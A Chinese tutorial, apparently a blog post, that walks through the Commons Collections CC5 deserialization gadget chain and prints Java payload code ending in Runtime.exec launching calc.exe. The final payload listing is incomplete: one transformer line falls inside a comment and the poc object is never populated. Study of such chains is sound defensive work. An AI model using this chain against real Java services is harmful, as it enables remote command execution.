Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Collections包中的“Map”是在java.util.Map的基础上扩展的接口和类。有如下常用的Map:
- LinkedMap,可以维护条目顺序的map;
- BidiMap,即双向Map,可以通过key找到value,也可以通过value找到key。需要注意的是BidiMap中key和value都不可以重复;
- MultiMap,一个key指向的是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,实现了一对多;
- LazyMap,即Map中的键/值对一开始并不存在,当被调用到时才创建。
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化 函数可以自定义实现,我们的漏洞触发函数就是利用了这一点。
反序列化利用链重点掌握:
- payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;把它称为:payload
- 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。
- readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点
反序列化所需要的类及使用方法:
- TransformedMap
- InvokerTransformer
- ConstantTransformer
- ChainedTransformer
- Transformer
InvokerTransformer 类
InvokerTransformer这个类 现了java.io.Serializable接口.InvokerTransformer,
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。 InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
InvokerTransformer 扩展了序列化与Transformer 类。其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
transform其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
可以看懂transform通过反射先获取类名,在获取方法,通过invoke调用该方法;
使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(因为Runtime对象是不可以被序列化的,其构造函数为传入一个Transformer 数组.
ChainedTransformer 类
这个类实现了transformer的链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
public Transformer[] getTransformers() {
return iTransformers;
}
transform方法为对其再构造函数中传入的transform数组循环调用:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
调用链为Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
transformer传了四个参数,核心代码利用:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //Runtime.class.
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//Runtime.class.getMethod("getRuntime")
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})// Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
};
因此只需要找到,cc链中谁会在 readobject方法触发Transform的transform方法;Lazymap中transform会将传入的对象进行转换,但是没有调用transform方法;
LazyMap
LazyMap实现了map接口,其中的Object方法调用了transform方法,只需要找到一个类谁会在反序列化时侯调用getobject()方法,
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在调用transform方法前会检查可以是否被初始化,没有初始化就会调用factory.transform方法进行调用
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
现在的利用过程:
Transform方法->InvokerTransformer 类->factory.transform方法->get (object)方法->LazyMap类
TiedMapEntry
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
TiedMapEntry的toString方法中,会调用map的getKey与getValue方法。
public String toString() {return getKey() + "=" + getValue();}
public Object getKey() {return key;}
public Object getValue() {return map.get(key);}
在BadAttributeValueExpException的readObject方法中会自动调用对象的toString方法。假设存储的是tideMapEntry方法,那么就开始自动反序列化,最终调用Transform的 transform对象,也就执行了我们的payload。
PayLoad
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类 new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"cmd /k D://calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
总结
BadAttributeValueExpException的readObject方法会调用TiedMapEntry的tostring方法,所以先传进来Lazy Map对象,然后会调用getvalue方法,然后调用LazyMap的get方法,get方法调用transform方法;ChainedTransformer会实现 transformer的链式调用,只需要传进来transformer数组即可,因此在第一步,进行接收参数.自此完成CC5.